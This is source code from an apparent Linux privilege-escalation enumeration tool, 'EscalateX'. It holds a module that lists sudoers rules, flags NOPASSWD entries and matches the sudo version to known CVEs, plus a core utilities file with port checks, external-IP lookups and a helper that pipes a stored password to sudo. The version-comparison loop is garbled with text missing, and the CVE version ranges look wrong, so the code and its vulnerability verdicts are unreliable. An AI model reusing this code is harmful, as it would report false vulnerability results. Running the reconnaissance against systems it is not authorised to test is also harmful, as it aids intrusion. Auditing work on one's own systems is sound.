print_success " $line" 349 | done 350 | 351 | # Check for NOPASSWD and interesting rules 352 | nopasswd_rules=$(grep -r "NOPASSWD" /etc/sudoers.d/ 2>/dev/null) 353 | 354 | if [ -n "$nopasswd_rules" ]; then 355 | print_warning " NOPASSWD rules found:" 356 | echo "$nopasswd_rules" | while read -r line; do 357 | print_warning " $line" 358 | done 359 | fi 360 | else 361 | print_success " No custom sudoers files found" 362 | fi 363 | fi 364 | 365 | # Check main sudoers file 366 | print_info "Main sudoers file:" 367 | 368 | if [ -r /etc/sudoers ]; then 369 | sudoers=$(grep -v "^#\|^Defaults\|^$" /etc/sudoers 2>/dev/null) 370 | 371 | if [ -n "$sudoers" ]; then 372 | echo "$sudoers" | while read -r line; do 373 | # Highlight NOPASSWD entries 374 | if echo "$line" | grep -q "NOPASSWD"; then 375 | print_warning " ${YELLOW}${line}${NC}" 376 | else 377 | print_success " $line" 378 | fi 379 | done 380 | else 381 | print_not_found " No non-default entries in sudoers file" 382 | fi 383 | else 384 | print_warning " Cannot read sudoers file" 385 | fi 386 | 387 | # Check for sudo version (for vulnerabilities) 388 | print_info "Sudo version:" 389 | 390 | sudo_version=$(sudo -V 2>/dev/null | grep "Sudo version" | awk '{print $3}') 391 | 392 | if [ -n "$sudo_version" ]; then 393 | print_success " Sudo version: ${sudo_version}" 394 | 395 | # Check for sudo vulnerability CVE-2021-3156 (Baron Samedit) 396 | if version_greater_equal "1.8.30" "$sudo_version" && ! version_greater_equal "1.8.26" "$sudo_version"; then 397 | print_critical " ${RED}Potentially vulnerable to CVE-2021-3156 (Baron Samedit)${NC}" 398 | fi 399 | 400 | # Check for sudo vulnerability CVE-2019-14287 (runas user ID -1) 401 | if version_greater_equal "1.8.28" "$sudo_version" && ! version_greater_equal "1.8.1" "$sudo_version"; then 402 | print_critical " ${RED}Potentially vulnerable to CVE-2019-14287 (Negative user ID)${NC}" 403 | fi 404 | else 405 | print_warning " Sudo version could not be determined" 406 | fi 407 | } 408 | 409 | # Main function to run all user info checks 410 | user_info_checks() { 411 | print_title "User Information" 412 | 413 | # Run all user information checks 414 | check_current_user 415 | check_all_users 416 | check_user_directories 417 | check_password_policy 418 | check_sudo_permissions 419 | 420 | # Wait for user if wait mode is enabled 421 | wait_for_user 422 | } -------------------------------------------------------------------------------- /modules/utils/core.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Core Utilities 4 | # Description: Core utility functions for EscalateX 5 | # Author: Jonas Resch 6 | 7 | ########################################### 8 | #-----------) Display Utils (------------# 9 | ########################################### 10 | 11 | # Print a major section title with a box 12 | print_title() { 13 | # Skip if quiet mode 14 | [ "$QUIET" ] && return 15 | 16 | # Debug timer functionality 17 | if [ "$DEBUG" ]; then 18 | END_TIMER=$(date +%s 2>/dev/null) 19 | if [ "$START_TIMER" ]; then 20 | TOTAL_TIME=$(($END_TIMER - $START_TIMER)) 21 | echo -e "${GRAY}[Debug] Previous section execution took $TOTAL_TIME seconds${NC}" 22 | echo "" 23 | fi 24 | START_TIMER=$(date +%s 2>/dev/null) 25 | fi 26 | 27 | title="$1" 28 | title_len=$(echo "$title" | wc -c) 29 | max_title_len=80 30 | rest_len=$((($max_title_len - $title_len) / 2)) 31 | 32 | # Draw top border 33 | echo -e "${BLUE}" 34 | for i in $(seq 1 $rest_len); do printf " "; done 35 | printf "┏" 36 | for i in $(seq 1 $title_len); do printf "━"; done; printf "━"; 37 | printf "┓" 38 | echo "" 39 | 40 | # Draw title with decorations 41 | for i in $(seq 1 $rest_len); do printf "━"; done 42 | printf "┫ ${GREEN}${title}${BLUE} ┣" 43 | for i in $(seq 1 $rest_len); do printf "━"; done 44 | echo "" 45 | 46 | # Draw bottom border 47 | for i in $(seq 1 $rest_len); do printf " "; done 48 | printf "┗" 49 | for i in $(seq 1 $title_len); do printf "━"; done; printf "━"; 50 | printf "┛" 51 | echo -e "${NC}" 52 | echo "" 53 | } 54 | 55 | # Print a subsection title 56 | print_subtitle() { 57 | # Skip if quiet mode 58 | [ "$QUIET" ] && return 59 | 60 | # Debug timer functionality 61 | if [ "$DEBUG" ]; then 62 | SUB_END_TIMER=$(date +%s 2>/dev/null) 63 | if [ "$SUB_START_TIMER" ]; then 64 | SUB_TOTAL_TIME=$(($SUB_END_TIMER - $SUB_START_TIMER)) 65 | echo -e "${GRAY}[Debug] Previous subsection execution took $SUB_TOTAL_TIME seconds${NC}" 66 | echo "" 67 | fi 68 | SUB_START_TIMER=$(date +%s 2>/dev/null) 69 | fi 70 | 71 | echo -e "${YELLOW}╔════════[ ${CYAN}$1${YELLOW} ]════════╗${NC}" 72 | } 73 | 74 | # Print informational message 75 | print_info() { 76 | [ "$QUIET" ] && return 77 | echo -e "${BLUE}[*]${NC} $1" 78 | } 79 | 80 | # Print a successful result 81 | print_success() { 82 | echo -e "${GREEN}[+]${NC} $1" 83 | } 84 | 85 | # Print warning message 86 | print_warning() { 87 | echo -e "${YELLOW}[!]${NC} $1" 88 | # Add finding to the report 89 | save_to_report "WARNING" "$1" "" 90 | } 91 | 92 | # Print error message (treat as warning for reporting) 93 | print_error() { 94 | echo -e "${RED}[-]${NC} $1" >&2 95 | # Add finding to the report as a warning 96 | save_to_report "WARNING" "Error: $1" "" 97 | } 98 | 99 | # Print critical finding (high severity issue) 100 | print_critical() { 101 | echo -e "${RED}${BOLD}[CRITICAL]${NC} $1" 102 | # Add finding to the report 103 | save_to_report "CRITICAL" "$1" "" 104 | } 105 | 106 | # Print a check that hasn't found anything 107 | print_not_found() { 108 | if [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ]; then # Show only in detailed modes 109 | echo -e "${GRAY}[·]${NC} $1" 110 | fi 111 | } 112 | 113 | # Print debug info only when debug is enabled 114 | print_debug() { 115 | if [ "$DEBUG" ]; then 116 | echo -e "${GRAY}[Debug]${NC} $1" >&2 117 | fi 118 | } 119 | 120 | # Wait for user input if wait mode is enabled 121 | wait_for_user() { 122 | if [ "$WAIT" ]; then 123 | echo "" 124 | read -p "Press Enter to continue..." 125 | echo "" 126 | fi 127 | } 128 | 129 | ########################################### 130 | #-----------) Process Utils (------------# 131 | ########################################### 132 | 133 | # Execute binary safely with error handling 134 | exec_binary() { 135 | binary="$1" 136 | params="$2" 137 | 138 | if ! command -v "$binary" >/dev/null 2>&1; then 139 | print_debug "Binary not found: $binary" 140 | return 1 141 | fi 142 | 143 | output=$($binary $params 2>/dev/null) 144 | retval=$? 145 | 146 | if [ $retval -ne 0 ]; then 147 | print_debug "Error executing $binary (exit code: $retval)" 148 | return $retval 149 | fi 150 | 151 | echo "$output" 152 | return 0 153 | } 154 | 155 | # Run command with timeout 156 | run_with_timeout() { 157 | timeout="$1" 158 | shift 159 | command="$@" 160 | 161 | # Use timeout command if available 162 | if command_exists timeout; then 163 | timeout $timeout $command 2>/dev/null 164 | return $? 165 | else 166 | print_debug "Timeout command not found, running without timeout: $command" 167 | $command 168 | return $? 169 | fi 170 | } 171 | 172 | # Execute a command in parallel if multithreading is enabled 173 | exec_parallel() { 174 | cmd="$1" 175 | 176 | if [ "$MULTITHREADED" ]; then 177 | $cmd & 178 | else 179 | $cmd 180 | fi 181 | } 182 | 183 | # Wait for all background processes to finish 184 | wait_for_processes() { 185 | if [ "$MULTITHREADED" ]; then 186 | wait 187 | fi 188 | } 189 | 190 | ########################################### 191 | #----------) File System Utils (---------# 192 | ########################################### 193 | 194 | # Check if a path is readable 195 | is_readable() { 196 | [ -r "$1" ] && return 0 || return 1 197 | } 198 | 199 | # Check if a path is writable 200 | is_writable() { 201 | [ -w "$1" ] && return 0 || return 1 202 | } 203 | 204 | # Check if a path is executable 205 | is_executable() { 206 | [ -x "$1" ] && return 0 || return 1 207 | } 208 | 209 | # Check if a path exists 210 | path_exists() { 211 | [ -e "$1" ] && return 0 || return 1 212 | } 213 | 214 | # Check if a command exists in PATH 215 | command_exists() { 216 | command -v "$1" >/dev/null 2>&1 && return 0 || return 1 217 | } 218 | 219 | # Create a temporary file securely 220 | create_temp_file() { 221 | mktemp /tmp/escalatex.XXXXXX 2>/dev/null || mktemp -t escalatex.XXXXXX 2>/dev/null 222 | } 223 | 224 | # Create a temporary directory securely 225 | create_temp_dir() { 226 | local temp_dir 227 | temp_dir=$(mktemp -d /tmp/escalatex.XXXXXX 2>/dev/null || mktemp -d -t escalatex.XXXXXX 2>/dev/null) 228 | echo "$temp_dir" 229 | } 230 | 231 | ########################################### 232 | #----------) Output Formatting (---------# 233 | ########################################### 234 | 235 | # Format the output as JSON if JSON mode is enabled 236 | format_json() { 237 | key="$1" 238 | value="$2" 239 | 240 | # Since JSON output is not implemented, just return the value 241 | # TODO: Implement proper JSON formatting if needed in future 242 | echo "$value" 243 | } 244 | 245 | # Format the current date and time 246 | get_datetime() { 247 | date "+%Y-%m-%d %H:%M:%S" 248 | } 249 | 250 | # Format a file size to human-readable 251 | format_size() { 252 | size="$1" 253 | local unit="B" 254 | 255 | if ! [[ "$size" =~ ^[0-9]+$ ]]; then 256 | echo "Invalid size" 257 | return 1 258 | fi 259 | 260 | if [ $size -gt 1073741824 ]; then # 1 GB 261 | size=$(awk -v s="$size" 'BEGIN {printf "%.1f", s/1073741824}') 262 | unit="GB" 263 | elif [ $size -gt 1048576 ]; then # 1 MB 264 | size=$(awk -v s="$size" 'BEGIN {printf "%.1f", s/1048576}') 265 | unit="MB" 266 | elif [ $size -gt 1024 ]; then # 1 KB 267 | size=$(awk -v s="$size" 'BEGIN {printf "%.1f", s/1024}') 268 | unit="KB" 269 | fi 270 | echo "$size $unit" 271 | } 272 | 273 | ########################################### 274 | #-----------) String Utils (-------------# 275 | ########################################### 276 | 277 | # Remove ANSI color codes from string 278 | strip_colors() { 279 | echo "$1" | sed 's/\x1b\[[0-9;]*m//g' 280 | } 281 | 282 | # Truncate a string to a maximum length 283 | truncate_string() { 284 | str="$1" 285 | max_len="$2" 286 | 287 | if [ ${#str} -gt $max_len ]; then 288 | echo "${str:0:$max_len}..." 289 | else 290 | echo "$str" 291 | fi 292 | } 293 | 294 | # Hash a string using SHA256 295 | hash_string() { 296 | if command_exists sha256sum; then 297 | echo -n "$1" | sha256sum | cut -d' ' -f1 298 | elif command_exists shasum; then 299 | echo -n "$1" | shasum -a 256 | cut -d' ' -f1 300 | else 301 | echo "Hashing_Tool_Not_Found" 302 | fi 303 | } 304 | 305 | # Encode a string to base64 306 | encode_base64() { 307 | if command_exists base64; then 308 | echo -n "$1" | base64 309 | else 310 | echo "Base64_Tool_Not_Found" 311 | fi 312 | } 313 | 314 | ########################################### 315 | #------------) Network Utils (------------# 316 | ########################################### 317 | 318 | # Check if host is reachable 319 | is_host_up() { 320 | host="$1" 321 | if command_exists ping; then 322 | ping -c 1 -W 1 "$host" >/dev/null 2>&1 323 | return $? 324 | else 325 | print_debug "Ping command not found, cannot check host reachability." 326 | return 1 # Assume not reachable if ping doesn't exist 327 | fi 328 | } 329 | 330 | # Check if port is open 331 | is_port_open() { 332 | host="$1" 333 | port="$2" 334 | # Use bash internal TCP check if possible 335 | timeout 1 bash -c "/dev/tcp/$host/$port" 2>/dev/null 336 | return $? 337 | # Fallback could use nc or nmap if available and necessary 338 | } 339 | 340 | # Get current external IP 341 | get_external_ip() { 342 | # Try multiple services for redundancy 343 | if command_exists curl; then 344 | curl -s https://api.ipify.org 2>/dev/null || curl -s https://ifconfig.me 2>/dev/null || curl -s https://icanhazip.com 2>/dev/null || echo "Unknown" 345 | elif command_exists wget; then 346 | wget -qO- https://api.ipify.org 2>/dev/null || wget -qO- https://ifconfig.me 2>/dev/null || wget -qO- https://icanhazip.com 2>/dev/null || echo "Unknown" 347 | else 348 | echo "Unknown (curl/wget not found)" 349 | fi 350 | } 351 | 352 | ########################################### 353 | #------------) Version Utils (------------# 354 | ########################################### 355 | 356 | # Compare version numbers (returns 0 if v1 >= v2) 357 | version_greater_equal() { 358 | v1="$1" 359 | v2="$2" 360 | 361 | # Remove non-numeric characters and handle common suffixes like 'p' 362 | v1=$(echo "$v1" | sed -E 's/[^0-9.]//g') 363 | v2=$(echo "$v2" | sed -E 's/[^0-9.]//g') 364 | 365 | # Handle empty versions 366 | [ -z "$v1" ] && v1="0" 367 | [ -z "$v2" ] && v2="0" 368 | 369 | # Use sort -V if available for robust version comparison 370 | if command_exists sort && sort -V <<<$"1\n1" >/dev/null 2>&1; then 371 | lowest_version=$(printf "%s\n%s\n" "$v1" "$v2" | sort -V | head -n1) 372 | if [ "$lowest_version" = "$v2" ]; then 373 | return 0 # v1 is greater or equal to v2 374 | else 375 | return 1 # v1 is less than v2 376 | fi 377 | else 378 | # Fallback simple comparison (less accurate for complex versions) 379 | IFS=. read -r -a ver1 <<< "$v1" 380 | IFS=. read -r -a ver2 <<< "$v2" 381 | 382 | len1=${#ver1[@]} 383 | len2=${#ver2[@]} 384 | max_len=$(( len1 > len2 ? len1 : len2 )) 385 | 386 | for ((i=0; i c2 )); then return 0; fi 396 | if (( c1 < c2 )); then return 1; fi 397 | done 398 | return 0 # Versions are equal 399 | fi 400 | } 401 | 402 | # Function to sanitize user input for security 403 | sanitize_input() { 404 | local input="$1" 405 | # Remove potentially malicious characters, allow common safe ones 406 | # Prevent path traversal (..) and limit characters 407 | echo "$input" | sed -e 's/[^[:alnum:][:space:].,_\/-]//g' -e 's/\.\.\///g' -e 's/\/\.\.//g' 408 | } 409 | 410 | # Advanced error handling 411 | handle_error() { 412 | local exit_code=$1 413 | local error_message=$2 414 | 415 | if [ $exit_code -ne 0 ]; then 416 | print_warning "Operation failed: $error_message (Code: $exit_code)" 417 | return 1 418 | fi 419 | return 0 420 | } 421 | 422 | # Execute command safely with timeout 423 | safe_exec() { 424 | local cmd="$1" 425 | local timeout_seconds="${2:-10}" # Default 10 seconds 426 | 427 | run_with_timeout "$timeout_seconds" "$cmd" 428 | local exit_code=$? 429 | if [ $exit_code -eq 124 ]; then 430 | print_debug "Command timed out ($timeout_seconds s): $cmd" 431 | return 124 432 | elif [ $exit_code -ne 0 ]; then 433 | print_debug "Command failed (exit code $exit_code): $cmd" 434 | return $exit_code 435 | fi 436 | return 0 437 | } 438 | 439 | # Check if running with sufficient privileges for the requested scan 440 | check_privileges() { 441 | # If not root and thorough scan requested, warn user 442 | if [ -z "$IAMROOT" ] && ( [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ] ); then 443 | print_warning "Running thorough/extreme scan without root privileges. Some checks may be limited." 444 | if [ -z "$PASSWORD" ] && [ -z "$USE_SUDO_PASS" ]; then 445 | print_warning "Consider running with sudo or using --password/--sudo-pass for more comprehensive results." 446 | fi 447 | fi 448 | 449 | # If extreme scan requested without root, warn strongly 450 | if [ -z "$IAMROOT" ] && [ "$EXTREME_SCAN" ] && [ -z "$QUIET" ] ; then 451 | print_critical "Extreme scan mode works best with root privileges!" 452 | print_critical "Many checks will be limited or may fail." 453 | read -p "Do you want to continue anyway? (y/n): " response 454 | if [[ ! $response =~ ^[Yy]$ ]]; then 455 | print_info "Scan aborted. Re-run with sudo or required privileges for best results." 456 | exit 0 457 | fi 458 | fi 459 | } 460 | 461 | # Run commands in parallel if multithreaded mode is enabled 462 | parallel_exec() { 463 | local cmd="$1" 464 | 465 | if [ "$MULTITHREADED" ] && [ "$THREADS" -gt 1 ]; then 466 | # Run in background 467 | eval "$cmd" & 468 | 469 | # If we have too many processes, wait for one to finish 470 | while [ "$(jobs -p | wc -l)" -ge "$THREADS" ]; do 471 | wait -n 2>/dev/null || sleep 0.1 # Wait for any job or sleep briefly 472 | done 473 | else 474 | # Run sequentially 475 | eval "$cmd" 476 | fi 477 | } 478 | 479 | # Save findings to a report file/array 480 | save_to_report() { 481 | local severity="$1" 482 | local message="$2" 483 | local details="${3:-}" # Optional details 484 | local timestamp 485 | 486 | timestamp=$(date +"%Y-%m-%d %H:%M:%S") 487 | 488 | # Strip any ANSI color codes from message 489 | message=$(strip_colors "$message") 490 | details=$(strip_colors "$details") 491 | 492 | # Escape pipe characters in message and details to avoid breaking the format 493 | message=$(echo "$message" | sed 's/|/\PIPE/g') 494 | details=$(echo "$details" | sed 's/|/\PIPE/g') 495 | 496 | # Add to the findings array for later reporting 497 | FINDINGS+=("$timestamp|$severity|$message|$details") 498 | 499 | # If critical finding, add to critical findings list (only the message) 500 | if [ "$severity" = "CRITICAL" ]; then 501 | CRITICAL_FINDINGS+=("$message") 502 | fi 503 | } 504 | 505 | # Initialize key global variables 506 | init_globals() { 507 | # Initialize findings arrays 508 | FINDINGS=() 509 | CRITICAL_FINDINGS=() 510 | 511 | # Track scan start time for performance metrics 512 | SCAN_START_TIME=$(date +%s) 513 | } 514 | 515 | # Run a command with sudo using the stored password if available 516 | run_with_sudo() { 517 | local cmd="$1" 518 | 519 | if [ -n "$PASSWORD" ]; then 520 | # Use the password with sudo 521 | echo "$PASSWORD" | sudo -S $cmd 2>/dev/null 522 | return $? 523 | elif [ "$USE_SUDO_PASS" ]; then 524 | # If --sudo-pass was used but no password given/worked, prompt? 525 | # For now, just try without password if USE_SUDO_PASS is set but PASSWORD is empty 526 | sudo -n $cmd 2>/dev/null 527 | return $? 528 | else 529 | # Try without password (non-interactive, only works if sudoers allows) 530 | sudo -n $cmd 2>/dev/null 531 | return $? 532 | fi 533 | } -------------------------------------------------------------------------------- /title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ExploitWorks/EscalateX/d444af7425bde63911873693f18df8bbe3b0d463/title.png --------------------------------------------------------------------------------